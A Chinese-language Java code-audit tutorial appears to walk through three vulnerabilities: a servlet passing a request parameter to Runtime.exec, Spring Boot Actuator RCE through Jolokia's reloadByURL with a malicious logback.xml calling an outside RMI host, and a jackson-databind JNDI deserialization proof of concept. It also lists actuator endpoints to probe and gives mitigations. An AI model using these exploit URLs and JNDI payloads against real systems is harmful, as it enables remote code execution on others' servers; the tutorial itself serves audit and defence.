通过Java执行系统命令,与cmd中或者终端上一样执行shell命令,最典型的用法就是使用Runtime.getRuntime().exec(command)或者new ProcessBuilder(cmdArray).start()。
//漏洞源码
public String CommandExec(HttpServletRequest request) {
String cmd = request.getParameter("cmd").toString();
Runtime run = Runtime.getRuntime();
String lineStr = "";
try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
lineStr += tmpStr + "\n";
System.out.println(tmpStr);
}
漏洞成因分析
流程图显示的代码执行的过程,不难发现我们没有看到过滤参数,判断参数是否输入正确的一系列操作,从而导致的命令执行漏洞
。
说明:
继续阅读下面的内容,你需要补充更多知识。
笔者在此,做一个简单介绍。
推荐文章:
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。
使用老外提供的源码,用mvn编译运行。GitHub项目地址直接访问http://127.0.0.1:8090/jolokia/list
或者修改ip和端口actuator-testbed\src\main\resources\application.properties
上面的reloadByURL
可以加载一个外部URL进而重新加载日志配置,结果造成了RCE。我们需要构造一个恶意logback.xml的URL。
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/httpserver_ip/logback.xml
//下面是logback.xml内容
<configuration>
<insertFromJNDI env-entry-name="rmi://artsploit.com:1389/jndi" as="appName" />
configuration>
rmi和ldap服务都能触发这个漏洞,笔者在这里选择rmi服务。
源码分析
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/httpserver_ip/logback.xml
看上面URL分析reloadByURL
很重要,看一下源码
public void reloadByURL(URL url) throws JoranException {
StatusListenerAsList statusListenerAsList = new StatusListenerAsList();
addStatusListener(statusListenerAsList);
addInfo("Resetting context: " + loggerContext.getName());
loggerContext.reset();
// after a reset the statusListenerAsList gets removed as a listener
addStatusListener(statusListenerAsList);
try {
if (url != null) {
JoranConfigurator configurator = new JoranConfigurator();
configurator.setContext(loggerContext);
configurator.doConfigure(url);
addInfo("Context: " + loggerContext.getName() + " reloaded.");
}
} finally {
removeStatusListener(statusListenerAsList);
if (debug) {
StatusPrinter.print(statusListenerAsList.getStatusList());
}
}
}
不难发现下面三行代码是关键,重置日志配置。
addStatusListener(statusListenerAsList);
addInfo("Resetting context: " + loggerContext.getName());
loggerContext.reset();
推荐文章
spring boot actuator rce via jolokia
Attack Spring Boot Actuator via jolokia Part 2
关于此漏洞更多的骚操作参考
代码审计关键词
trace
health
loggers
metrics
autoconfig
heapdump
threaddump
env
info
dump
configprops
mappings
auditevents
beans
jolokia
cloudfoundryapplication
hystrix.stream
actuator
actuator/auditevents
actuator/beans
actuator/health
actuator/conditions
actuator/configprops
actuator/env
actuator/info
actuator/loggers
actuator/heapdump
actuator/threaddump
actuator/metrics
actuator/scheduledtasks
actuator/httptrace
actuator/mappings
actuator/jolokia
actuator/hystrix.stream
防护措施
在使用Actuator时,不正确的使用或者一些不经意的疏忽,就会造成严重的信息泄露等安全隐患。在代码审计时如果是springboot项目并且遇到actuator依赖,则有必要对安全依赖及配置进行复查。也可作为一条规则添加到黑盒扫描器中进一步把控。
安全的做法是一定要引入security依赖,打开安全限制并进行身份验证。同时设置单独的Actuator管理端口并配置不对外网开放。
更多防护措施参考SpringBoot应用监控Actuator使用的安全隐患
FasterXML/jackson-databind是一个用于JSON和对象转换的Java第三方库,可将Java对象转换成json对象和xml文档,同样也可将json对象转换成Java对象。
//漏洞POC
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\",{\"asText\":\"ldap://localhost:1389/Exploit\"}]";
public final Object toObject(String text) {
if (text == null) {
return null;
} else {
Object value = this.toObjectImpl(this.trim ? text.trim() : text);
return value;
}
}
public final void setAsText(String text) {
Object value = this.toObject(this.trim ? text.trim() : text);
super.setValue(value);
}
思路整理
修复方式
4. 升级 jackson-databind 至2.9.10.3、2.8.11.5、2.10.x
5. 排查项目中是否使用 xbean-reflect。该次漏洞的核心原因是xbean-reflect 中存在特殊的利用链允许用户触发 JNDI 远程类加载操作。将xbean-reflect移除可以缓解漏洞所带来的影响。
https://github.com/JoyChou93/java-sec-code/wiki
http://www.jianfensec.com/70.html
https://www.cnblogs.com/tr1ple/p/12348886.html
https://blog.csdn.net/dataiyangu/article/details/83988654 ↩︎
https://www.cnblogs.com/isme-zjh/p/11506495.html
https://github.com/jas502n/CVE-2020-8840
https://github.com/fairyming/CVE-2020-8840 ↩︎